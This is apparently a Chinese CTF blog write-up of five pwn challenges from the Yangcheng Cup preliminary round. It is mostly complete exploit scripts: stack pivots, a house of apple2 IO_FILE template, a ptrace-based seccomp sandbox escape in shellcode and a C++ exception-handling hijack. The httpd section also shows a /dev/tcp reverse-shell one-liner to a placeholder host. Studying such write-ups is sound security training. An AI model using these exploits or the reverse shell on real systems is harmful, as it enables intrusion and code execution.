马上要去打决赛了,「渗透 + 应急响应」赛制对我们 1 pwn 1 reverse 1 crypto(全栈)1 web 的阵容不太友好啊。
但感觉这真的是我们最强阵容了 (在某迷斯克全栈✌️养老的情况下) 。
龙图.jpg 可恶的渗透
羊城杯初赛竞争非常激烈,睡前看是第一,六点多起床一看差点掉出前二十了,还好最后又出了几道迷斯克猜谜题。
题目质量感觉很抽象, 有很烂的题(例如 misc 所有题目和 httpd 之类的), 但也有一些让人眼前一亮的题目,值得记录在博客中:
附件在我的 github 仓库里可以找到: ctf-writeup-collection
pstack
签到题,看到栈溢出但是溢出长度很小 同时还没有 PIE 就可以想到栈迁移:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from lianpwn import *
cli_script ()
set_remote_libc ( " libc.so.6 " )
io : tube = gift . io
elf : ELF = gift . elf
libc : ELF = gift . libc
new_stack = 0x 601000 + 0x 800
pop_rdi_ret = 0x 0000000000400773
pop_rsi_2_ret = 0x 0000000000400771
ru ( b " Can you grasp this little bit of overflow? \n " )
payload = flat ({ 0x 30 : [ new_stack , 0x 4006B8 ]})
s ( payload )
ru ( b " Can you grasp this little bit of overflow? \n " )
payload = flat ({ 0x 30 : [ new_stack + 0x 40 - 8 , 0x 4006B8 ]})
s ( payload )
payload = flat (
[
pop_rdi_ret ,
elf . got . puts ,
0x 4006BF ,
]
)
s ( payload )
ru ( b " \n " )
libc_base = u64_ex ( ru ( b " \n " , drop = True )) - libc . sym . puts
lg ( " libc_base " , libc_base )
new_payload = flat (
{
0x 10 : [
pop_rdi_ret + 1 ,
pop_rdi_ret ,
libc_base + next ( libc . search ( b " /bin/sh \x00 " )),
libc_base + libc . sym . system ,
]
}
)
s ( new_payload )
ia ()
# 54484494621358128549197059097208
TravelGraph
漏洞很好找,delete 删除的不是列表元素 route 而是堆块头部。
因此可以利用不同大小的堆块拆分构造出 UAF,改了 transportation 域就可以无限大小堆溢出,打 house of apple + magic_gadget orw,本来以为不得不 setcontext,结果找到一篇非常详细的博客:
这道题的利用不够典型,板子可以参考后面的 hard sandbox
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from lianpwn import *
cli_script ()
set_remote_libc ( " libc.so.6 " )
io : tube = gift . io
elf : ELF = gift . elf
libc : ELF = gift . libc
# Available choices:
## guangzhou
## nanning
## changsha
## nanchang
## fuzhou
def cmd ( choice ):
ru ( b " 5. Calculate the distance. \n " )
sl ( i2b ( choice ))
def add ( transport , depart , dest , dist , data ):
cmd ( 1 )
ru ( b " What kind of transportation do you want? car/train/plane? \n " )
sl ( transport )
ru ( b " Please input the city name \n " )
sl ( depart )
ru ( b " Please input the city name \n " )
sl ( dest )
ru ( b " How far? \n " )
sl ( i2b ( dist ))
ru ( b " Note: \n " )
s ( data )
def delet ( depart , dest ):
cmd ( 2 )
ru ( b " Please input the city name \n " )
sl ( depart )
ru ( b " Please input the city name \n " )
sl ( dest )
def show ( depart , dest ):
cmd ( 3 )
ru ( b " Please input the city name \n " )
sl ( depart )
ru ( b " Please input the city name \n " )
sl ( dest )
add ( b " car " , b " guangzhou " , b " guangzhou " , 999 , b " a " )
add ( b " car " , b " guangzhou " , b " nanning " , 999 , b " b " )
add ( b " plane " , b " nanning " , b " changsha " , 999 , b " c " )
add ( b " car " , b " changsha " , b " nanchang " , 999 , b " d " )
cmd ( 5 )
ru ( b " Please input the city name \n " )
sl ( b " nanchang " )
delet ( b " guangzhou " , b " guangzhou " )
add ( b " plane " , b " nanchang " , b " nanchang " , 999 , b " a " )
add ( b " car " , b " guangzhou " , b " guangzhou " , 999 , b " a " )
show ( b " guangzhou " , b " guangzhou " )
ru ( b " Note: " )
heap_base = ( u64_ex ( ru ( b " \n " , drop = True )) & 0x FFFFFFFFFFFFF000 ) - 0x 1000
lg ( " heap_base " , heap_base )
delet ( b " nanning " , b " changsha " )
delet ( b " guangzhou " , b " nanning " )
add ( b " train " , b " guangzhou " , b " guangzhou " , 999 , b " a " * 0x 510 )
show ( b " guangzhou " , b " guangzhou " )
ru ( b " Note: " + b " a " * 0x 510 )
libc_base = u64_ex ( ru ( b " \n " , drop = True )) - 0x 21ACE0
lg ( " libc_base " , libc_base )
add ( b " train " , b " guangzhou " , b " guangzhou " , 999 , b " a " )
add ( b " car " , b " nanning " , b " nanning " , 999 , b " b " )
add ( b " plane " , b " changsha " , b " changsha " , 999 , b " c " )
add ( b " car " , b " guangzhou " , b " guangzhou " , 999 , b " d " )
delet ( b " nanning " , b " nanning " )
delet ( b " changsha " , b " changsha " )
add (
b " plane " ,
b " nanning " ,
b " nanning " ,
999 ,
flat ({ 0x 500 : [ 0x 520 , 0x 521 , 0x 1 , 0x 100000000003E7 ]}),
)
add ( b " car " , b " nanning " , b " fuzhou " , 999 , b " d " )
add ( b " train " , b " guangzhou " , b " fuzhou " , 999 , b " d " )
add ( b " plane " , b " guangzhou " , b " guangzhou " , 999 , b " d " )
add ( b " plane " , b " guangzhou " , b " guangzhou " , 999 , b " d " )
delet ( b " guangzhou " , b " fuzhou " )
add ( b " plane " , b " guangzhou " , b " guangzhou " , 999 , b " d " )
delet ( b " nanning " , b " fuzhou " )
cmd ( 4 )
ru ( b " Please input the city name \n " )
sl ( b " nanning " )
ru ( b " Please input the city name \n " )
sl ( b " guangzhou " )
ru ( b " Which one do you want to change? \n " )
sl ( b " 0 " )
ru ( b " How far? \n " )
sl ( b " 10 " )
ru ( b " Note: \n " )
# 16a06a:> 48 8b 6f 48 > mov rbp,QWORD PTR [rdi+0x48]
# 16a06e:> 48 8b 45 18 > mov rax,QWORD PTR [rbp+0x18]
# 16a072:> 4c 8d 6d 10 > lea r13,[rbp+0x10]
# 16a076:> c7 45 10 00 00 00 00 > mov DWORD PTR [rbp+0x10],0x0
# 16a07d:> 4c 89 ef > mov rdi,r13
# 16a080:> ff 50 28 > call QWORD PTR [rax+0x28]
magic_gadget = libc_base + 0x 16A06A
leave_ret = libc_base + 0x 000000000004DA83
add_rsp_0x38_ret = libc_base + 0x 000000000005A44E
pop_rdi_ret = libc_base + 0x 000000000002A3E5
pop_rsi_ret = libc_base + 0x 000000000002BE51
pop_rdx_2_ret = libc_base + 0x 000000000011F2E7
_IO_wfile_jumps = libc_base + libc . sym . _IO_wfile_jumps
_lock = libc_base + 0x 21CA70
fake_IO_FILE = heap_base + 0x 3390
f1 = IO_FILE_plus_struct ()
f1 . flags = u64_ex ( " sh; " )
f1 . _IO_read_ptr = 0x 521
f1 . _IO_read_end = libc_base + 0x 21ACE0
f1 . _IO_read_base = libc_base + 0x 21ACE0
f1 . _lock = _lock
f1 . _wide_data = fake_IO_FILE + 0x E0
f1 . vtable = _IO_wfile_jumps
f1 . _IO_save_base = fake_IO_FILE + 0x 520 + 0x 100
payload = flat (
{
0 : {
0 : bytes ( f1 ),
0x E0 : {
0x 18 : [ 0 ],
0x 30 : [ 0 ],
0x E0 : [ fake_IO_FILE + 0x 200 ],
},
# 0x200: {0x68: [libc_base + libc.sym.system]},
0x 200 : { 0x 68 : [ magic_gadget ]},
},
0x 520 : {
0 : [ 0x 520 , 0x 520 , 0 , 0x 1000003E7 ],
0x 100 : {
0 : [ 0x DEADBEEF , add_rsp_0x38_ret ],
0x 18 : [ fake_IO_FILE + 0x 520 + 0x 100 ],
0x 28 : [ leave_ret ],
0x 38 : [
pop_rdi_ret ,
fake_IO_FILE + 0x A48 + 0x 200 ,
pop_rdi_ret ,
fake_IO_FILE + 0x A48 + 0x 200 ,
pop_rsi_ret ,
0 ,
libc_base + libc . sym . open ,
pop_rdi_ret ,
3 ,
pop_rsi_ret ,
fake_IO_FILE + 0x A48 + 0x 100 ,
pop_rdx_2_ret ,
0x 100 ,
0 ,
libc_base + libc . sym . read ,
pop_rdi_ret ,
1 ,
libc_base + libc . sym . write ,
],
},
},
0x A48 : {
0 : [
0x 531 ,
libc_base + 0x 21B110 ,
libc_base + 0x 21B110 ,
heap_base + 0x 3DD0 ,
libc_base + libc . sym . _IO_list_all - 0x 20 ,
],
0x 200 : b " /flag \x00 " ,
},
}
)
s ( payload )
add ( b " plane " , b " guangzhou " , b " guangzhou " , 999 , b " d " )
cmd ( 9 )
ia ()
# 88423600807024982120743331231397
httpd
这道题非常抽象,我的做法是 %xx
url 编码绕过检查:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from lianpwn import *
from pwncli import *
cli_script ()
# set_remote_libc("libc.so.6")
io : tube = gift . io
elf : ELF = gift . elf
libc : ELF = gift . libc
context . log_level = " debug "
def get_payload ( command ):
payload = b " get / " + command + b " HTTP/1.0 \r\n "
payload += b " Host: 127.0.0.1 \r\n "
payload += f "Content-Length: 100 \r\n " . encode ()
payload += b " Content-Type: application/x-www-form-urlencoded \r\n "
payload += b " Connection: close \r\n "
payload += b " \r\n "
return payload
# payload = get_payload(b"cat%20/fla*>/home/ctf/html/index.html")
payload = get_payload ( b " index.html " )
s ( payload )
ia ()
# 73037178244216013737456202378991
还有一种做法是远程开反弹 shell 连接到服务器,首先指定 'GET /"s"h HTTP/1.0\r\n'
起一个 shell,再传反弹 shell 的 payload:
'bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxxx 0>&1"'
总而言之这道题的难点看起来就是绕过字符过滤。
Hard Sandbox
其实是 shellcode 题,用 2.36 版本堆包装了一下,这里可以当成 house of apple2 的板子:
Apple2 板子
对fp的设置如下:
_flags
设置为 ~(2 | 0x8 | 0x800)
,如果不需要控制 rdi,设置为0即可;如果需要获得 shell,可设置为 sh;
,注意前面有两个空格
vtable
设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
地址(加减偏移),使其能成功调用 _IO_wfile_overflow
即可
_wide_data
设置为可控堆地址 A,即满足 *(fp + 0xa0) = A
_wide_data->_IO_write_base
设置为 0,即满足 *(A + 0x18) = 0
_wide_data->_IO_buf_base
设置为 0,即满足 *(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址 B,即满足 *(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址 C 用于劫持 RIP,即满足 *(B + 0x68) = C
_lock
设置为可写地址;mode
设置大于 0
函数的调用链如下:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
* ( fp -> _wide_data -> _wide_vtable + 0x 68 )( fp )
板子如下:
"""
1630aa:> 48 8b 6f 48 > mov rbp,QWORD PTR [rdi+0x48]
1630ae:> 48 8b 45 18 > mov rax,QWORD PTR [rbp+0x18]
1630b2:> 4c 8d 6d 10 > lea r13,[rbp+0x10]
1630b6:> c7 45 10 00 00 00 00 > mov DWORD PTR [rbp+0x10],0x0
1630bd:> 4c 89 ef > mov rdi,r13
1630c0:> ff 50 28 > call QWORD PTR [rax+0x28]
"""
magic_gadget = libc_base + 0x 1630AA
leave_ret = libc_base + 0x 0000000000050877
add_rsp_0x38_ret = libc_base + 0x 0000000000054BF4
pop_rdi_ret = libc_base + 0x 0000000000023B65
pop_rsi_ret = libc_base + 0x 00000000000251BE
pop_rdx_ret = libc_base + 0x 0000000000166262
pop_rax_ret = libc_base + 0x 000000000003FA43
_lock = libc_base + 0x 1F8A10
_IO_wfile_jumps = libc_base + libc . sym . _IO_wfile_jumps
fake_IO_FILE = heap_base + 0x 290
f1 = IO_FILE_plus_struct ()
f1 . flags = u64_ex ( " sh; " )
f1 . _lock = _lock
f1 . _wide_data = fake_IO_FILE + 0x E0
f1 . _mode = 1
f1 . vtable = _IO_wfile_jumps
f1 . _IO_save_base = fake_IO_FILE + 0x 510 + 0x 100
payload = flat (
{
0 : {
0 : bytes ( f1 )[ 0x 10 :],
0x E0 - 0x 10 : {
0x 18 : [ 0 ],
0x 30 : [ 0 ],
0x E0 : [ fake_IO_FILE + 0x 200 ],
},
# 0x200 - 0x10: {0x68: [0xDEADBEEF]},
0x 200 - 0x 10 : { 0x 68 : [ magic_gadget ]},
},
}
)
edit ( 0 , payload )
父进程 ptrace 子进程绕沙箱
接下来就是绕 sandbox 了,这里比较新颖地采用了 TRACE
而非 KILL
,使得古早沙箱绕过方式重现于比赛中:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64 ) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x05 0x00 0x40000000 if (A > = 0x40000000 ) goto 0009
0004: 0x15 0x04 0x00 0x00000002 if (A == open ) goto 0009
0005: 0x15 0x03 0x00 0x00000101 if (A == openat ) goto 0009
0006: 0x15 0x02 0x00 0x0000003b if (A == execve ) goto 0009
0007: 0x15 0x01 0x00 0x00000142 if (A == execveat ) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x7ff00000 return TRACE
与常见的 KILL 不同,TRACE 模式不会直接终止程序,可以参考文档:
SECCOMP_RET_TRACE
When returned, this value will cause the kernel to attempt
to notify a ptrace(2)-based tracer prior to executing the
system call. If there is no tracer present, the system
call is not executed and returns a failure status with
errno set to ENOSYS.
A tracer will be notified if it requests
PTRACE_O_TRACESECCOMP using ptrace(PTRACE_SETOPTIONS).
The tracer will be notified of a PTRACE_EVENT_SECCOMP and
the SECCOMP_RET_DATA portion of the filter's return value
will be available to the tracer via PTRACE_GETEVENTMSG.
The tracer can skip the system call by changing the system
call number to -1. Alternatively, the tracer can change
the system call requested by changing the system call to a
valid system call number. If the tracer asks to skip the
system call, then the system call will appear to return
the value that the tracer puts in the return value
register.
Before Linux 4.8, the seccomp check will not be run again
after the tracer is notified. (This means that, on older
kernels, seccomp-based sandboxes must not allow use of
ptrace(2)—even of other sandboxed processes—without
extreme care; ptracers can use this mechanism to escape
from the seccomp sandbox.)
Note that a tracer process will not be notified if another
filter returns an action value with a precedence greater
than SECCOMP_RET_TRACE.
大致意思是 SECCOMP_RET_TRACE
允许将系统调用交由 ptrace 调试处理,从而为调试器提供更大的控制能力,于是这道题的解法又回到了内核版本 4.8 前的思路 :
fork 出一个子进程,在其中运行常规 orw,此时会触发 TRACE;
父进程中 ptrace 上子进程,并调用 wait 等待子进程的状态改变;
设置 ptrace 调试选项启用 PTRACE_O_TRACESECCOMP
,用于追踪 seccomp 事件;
设置 PTRACE_CONT
恢复并继续子进程的执行;
再次调用 wait 等待子进程的状态改变,这时候子进程会调用到被过滤的 open;
在捕获到 seccomp 事件后,父进程解除对子进程的调试控制,这时候被过滤的 open 也能正常执行,相当于无事发生,在这里就完成了对子进程系统调用的 hook。
NR_fork = 57
NR_ptrace = 101
NR_wait = 61
PTRACE_ATTACH = 16
PTRACE_SETOPTIONS = 0x 4200
PTRACE_O_TRACESECCOMP = 0x 00000080
PTRACE_CONT = 7
PTRACE_DETACH = 17
shellcode = f """
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code
/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi, {PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall
/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10, {PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error
/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error
/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
hlt
"""
完整利用代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from lianpwn import *
cli_script ()
set_remote_libc ( " libc.so.6 " )
io : tube = gift . io
elf : ELF = gift . elf
libc : ELF = gift . libc
def cmd ( choice ):
ru ( b " > " )
sl ( i2b ( choice ))
def add ( idx , size ):
cmd ( 1 )
ru ( b " Index: " )
sl ( i2b ( idx ))
ru ( b " Size: " )
sl ( i2b ( size ))
def delet ( idx ):
cmd ( 2 )
ru ( b " Index: " )
sl ( i2b ( idx ))
def edit ( idx , data ):
cmd ( 3 )
ru ( b " Index: " )
sl ( i2b ( idx ))
ru ( b " Content: " )
s ( data )
def show ( idx ):
cmd ( 4 )
ru ( b " Index: " )
sl ( i2b ( idx ))
add ( 0 , 0x 510 )
add ( 1 , 0x 900 )
add ( 2 , 0x 520 )
add ( 3 , 0x 900 )
delet ( 2 )
add ( 4 , 0x 900 )
delet ( 0 )
show ( 2 )
libc_base = u64_ex ( ru ( b " \n " , drop = True )) - 0x 1F70F0
lg ( " libc_base " , libc_base )
edit ( 2 , b " a " * 0x 10 )
show ( 2 )
ru ( b " a " * 0x 10 )
heap_base = u64_ex ( ru ( b " \n " , drop = True )) - 0x 10C0
lg ( " heap_base " , heap_base )
edit (
2 ,
flat (
{
0 : [
libc_base + 0x 1F70F0 ,
libc_base + 0x 1F70F0 ,
heap_base + 0x DC0 ,
libc_base + libc . sym . _IO_list_all - 0x 20 ,
]
}
),
)
add ( 5 , 0x 900 )
"""
1630aa:> 48 8b 6f 48 > mov rbp,QWORD PTR [rdi+0x48]
1630ae:> 48 8b 45 18 > mov rax,QWORD PTR [rbp+0x18]
1630b2:> 4c 8d 6d 10 > lea r13,[rbp+0x10]
1630b6:> c7 45 10 00 00 00 00 > mov DWORD PTR [rbp+0x10],0x0
1630bd:> 4c 89 ef > mov rdi,r13
1630c0:> ff 50 28 > call QWORD PTR [rax+0x28]
"""
magic_gadget = libc_base + 0x 1630AA
leave_ret = libc_base + 0x 0000000000050877
add_rsp_0x38_ret = libc_base + 0x 0000000000054BF4
pop_rdi_ret = libc_base + 0x 0000000000023B65
pop_rsi_ret = libc_base + 0x 00000000000251BE
pop_rdx_ret = libc_base + 0x 0000000000166262
pop_rax_ret = libc_base + 0x 000000000003FA43
_lock = libc_base + 0x 1F8A10
_IO_wfile_jumps = libc_base + libc . sym . _IO_wfile_jumps
fake_IO_FILE = heap_base + 0x 290
f1 = IO_FILE_plus_struct ()
f1 . flags = u64_ex ( " sh; " )
f1 . _lock = _lock
f1 . _wide_data = fake_IO_FILE + 0x E0
f1 . _mode = 1
f1 . vtable = _IO_wfile_jumps
f1 . _IO_save_base = fake_IO_FILE + 0x 510 + 0x 100
payload = flat (
{
0 : {
0 : bytes ( f1 )[ 0x 10 :],
0x E0 - 0x 10 : {
0x 18 : [ 0 ],
0x 30 : [ 0 ],
0x E0 : [ fake_IO_FILE + 0x 200 ],
},
0x 200 - 0x 10 : { 0x 68 : [ magic_gadget ]},
},
}
)
edit ( 0 , payload )
first_state = f """
mov rdi, 0;
mov rsi, { heap_base + 0x 1000 } ;
mov rdx, 0x1000;
mov eax, 0;
syscall;
mov rax, { heap_base + 0x 1000 } ;
call rax;
"""
edit ( 3 , asm ( first_state ))
payload = flat (
{
0 : {
0 : b " a " * 0x 10 ,
0x 100 - 0x 20 : {
0 : [ 0x DEADBEEF , add_rsp_0x38_ret ],
0x 18 : [ fake_IO_FILE + 0x 520 + 0x 100 ],
0x 28 : [ leave_ret ],
0x 38 : [
leave_ret ,
fake_IO_FILE + 0x 520 + 0x 200 ,
pop_rdi_ret ,
heap_base ,
pop_rsi_ret ,
0x 21000 ,
pop_rdx_ret ,
7 ,
libc_base + libc . sym . mprotect ,
heap_base + 0x 15F0 + 0x 10 ,
],
},
},
}
)
edit ( 1 , payload )
lg ( " magic_gadget " , magic_gadget )
cmd ( 5 )
NR_fork = 57
NR_ptrace = 101
NR_wait = 61
PTRACE_ATTACH = 16
PTRACE_SETOPTIONS = 0x 4200
PTRACE_O_TRACESECCOMP = 0x 00000080
PTRACE_CONT = 7
PTRACE_DETACH = 17
shellcode = f """
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code
/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi, {PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall
/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10, {PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
hlt
child_code:
"""
s ( asm ( shellcode ) + asm ( shellcraft . cat ( " /flag " )))
ia ()
logger
异常处理,参考 溢出漏洞在异常处理中的攻击利用手法-上
CHOP 指的是借助 Cpp 的 try-catch 机制 + 栈溢出等漏洞可以控制 RBP 并劫持控制流到其它 catch 块中,也可以借助该手段无视 canary 保护,基本原理如下:
_Unwind_Resume
函数中会根据栈帧恢复 RBP;
同时会根据栈上的返回地址往上找上一层 catch 块,再通过 _Unwind_Resume
恢复执行上下文;
因此就可以把返回地址溢出写成其它 try 块中的地址(因为不能下条指令和当前地址一样,所以通常写 try_addr + 1
),控制流就能被劫持到对应的 catch 块中。
回到题目,看到有个函数里面有 Hello,本来打算试试能不能把 rip 劫持上去输出点什么,结果直接进 shell 了:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
# Debug : ./exp.py debug ./pwn -t -b b+0xabcd
# Remote: ./exp.py remote ./pwn ip:port
from lianpwn import *
from pwncli import *
cli_script ()
# set_remote_libc("libc.so.6")
io : tube = gift . io
elf : ELF = gift . elf
libc : ELF = gift . libc
def cmd ( choice ):
ru ( b " Your chocie: " )
sl ( i2b ( choice ))
def trace ( data ):
cmd ( 1 )
ru ( b " You can record log details here: " )
s ( data )
ru ( b " Do you need to check the records? " )
sl ( b " y " )
def warn ( data ):
cmd ( 2 )
ru ( b " Type your message here plz: " )
s ( data )
for i in range ( 8 ):
trace ( b " a " * 0x 10 )
trace ( b " /bin/sh \x00 " )
payload = flat (
{ 0 : [ 0x DEADBEEF , 0x DEADCAFE , 0x CAFECAFE ], 0x 70 : [ 0x 404200 + 8 , 0x 401BC2 + 1 ]}
)
warn ( payload )
ia ()
# 94611941604724180481409014608611
References
CTF 中 glibc堆利用 及 IO_FILE 总结 . winmt
2024 羊城杯 PWN 详细全解 - ptrace 系统调用概述
溢出漏洞在异常处理中的攻击利用手法